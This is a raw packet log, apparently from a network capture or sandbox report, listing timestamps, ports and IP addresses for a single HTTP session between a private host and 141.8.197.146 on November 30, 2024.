Nov 30, 2024 05:00:18.742856026 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.803354979 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.803486109 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.803534985 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.803916931 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.803997040 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.804044008 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.804863930 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.804877043 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.804928064 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.805789948 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.805800915 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.805860043 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.806761980 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.806772947 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.806819916 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.807686090 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.807697058 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.807744980 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.808648109 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.808660030 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.808729887 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.809571981 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.809655905 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.809705973 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.810554028 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.810565948 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.810606003 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.811434984 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.811566114 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.811608076 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.812344074 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.812467098 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.812601089 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.813277960 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.813433886 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.813476086 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.814210892 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.814321041 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.814371109 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.815237045 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.815344095 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.815381050 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.816142082 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.816257000 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.816302061 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.817059994 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.817177057 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.817215919 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.818041086 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.818177938 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.818231106 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.818973064 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.819087029 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.819958925 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.820039034 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.820072889 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.820130110 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.820872068 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.820970058 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.821808100 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.821865082 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.821928024 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.822782993 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.822849035 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.822874069 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.822912931 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.823734045 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.823852062 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.824696064 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.824759007 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.824790955 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.824832916 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.825615883 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.825750113 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.826083899 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.826595068 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.826719046 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.827538013 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.827600002 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.827636003 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.827686071 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.828485012 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.828690052 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.829952955 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.830008984 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.830060005 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.830107927 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.830353975 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.830482006 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.831320047 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.831373930 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.831408978 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.831448078 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.832274914 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.832393885 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.833235025 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.833291054 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.833326101 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.833367109 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.834175110 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.834281921 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.834738970 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.835119009 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.835222006 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.836075068 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.836129904 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.836167097 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.836208105 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.837034941 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.837101936 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.837959051 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.837959051 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.838027954 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.838912010 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.838958025 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.838958979 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.838994980 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.839858055 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.839889050 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.840807915 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.840853930 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.840887070 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.840929031 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.841754913 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.841851950 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.842202902 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.842710972 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.842828989 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.843647957 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.843703032 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.843759060 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.843802929 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.844598055 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.844716072 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.845542908 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.845598936 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.845650911 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.845690012 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.846517086 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.894273996 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.894361973 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.894445896 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.894721031 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.894792080 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.894831896 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.895659924 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.895785093 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.895840883 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.896625996 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.896677971 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.896735907 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.897552013 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.897656918 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.897711039 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.898502111 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.898590088 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.898638010 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.899454117 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.899518967 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.899559975 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.005669117 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.005686998 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.005794048 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.005944014 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.005956888 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.006006956 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.007077932 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.007195950 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.008033037 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.008044958 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.008085012 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.008097887 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.009126902 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.009139061 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.009185076 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.009915113 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.010052919 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.010184050 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.010809898 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.010823011 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.010865927 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.011825085 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.011838913 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.011878967 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.012841940 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.012860060 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.012937069 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.013658047 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.013798952 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.014074087 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.014574051 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.014750004 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.015499115 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.015511036 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.015557051 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.016545057 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.016557932 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.016624928 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.017465115 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.017476082 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.017524958 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.018332958 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.018349886 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.018395901 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.019274950 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.019427061 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.020226955 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.020286083 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.020375967 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.020418882 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.021198034 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.021333933 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.022012949 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.022063971 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.022156000 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.022197962 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.023118019 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.023246050 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.023967981 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.024029016 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.024096966 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.024143934 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.024925947 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.025074005 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.025904894 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.025909901 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.026077032 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.026777029 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.026814938 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.026927948 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.026968002 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.027798891 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.027940989 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.028780937 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.028791904 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.028821945 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.028845072 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.029609919 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.029752970 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.029797077 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.030613899 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.030756950 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.030800104 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.031457901 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.031601906 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.032479048 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.032521009 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.032618046 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.032664061 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.033466101 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.033613920 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.034142017 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.034437895 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.034603119 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.035281897 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.035332918 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.035410881 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.035449982 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.036367893 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.036504984 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.037188053 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.037259102 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.037482977 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.037527084 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.038186073 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.038326025 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.038379908 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.039218903 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.039228916 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.039288998 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.040213108 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.040404081 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.040467024 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.041024923 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.041182041 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.041927099 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.042109966 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.042121887 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.042567968 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.042582035 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.042644978 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.043021917 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.043117046 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.045922041 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.045979023 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.046109915 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.046160936 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.046789885 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.046801090 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.046855927 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.047149897 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.047159910 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.047203064 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.047704935 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.047831059 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.048696041 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.048758030 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.095532894 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.095652103 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.095731020 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.095885992 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.095936060 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.096071959 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.096179962 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.097037077 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.097100973 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.097137928 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.097181082 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.097980022 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.098059893 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.098114967 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.098975897 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.099075079 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.099544048 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.099879980 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.100008011 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.100811005 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.100866079 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.205982924 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.206108093 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.206161976 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.206509113 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.206521988 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.206589937 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.207418919 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.207431078 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.207493067 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.208323002 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.208462000 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.209110022 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.209362984 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.209409952 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.209522009 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.210248947 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.210355043 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.210428953 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:19.211190939 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.211328983 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:19.212141991 CET	80	49732	141.8.197.146	192.168.2.4
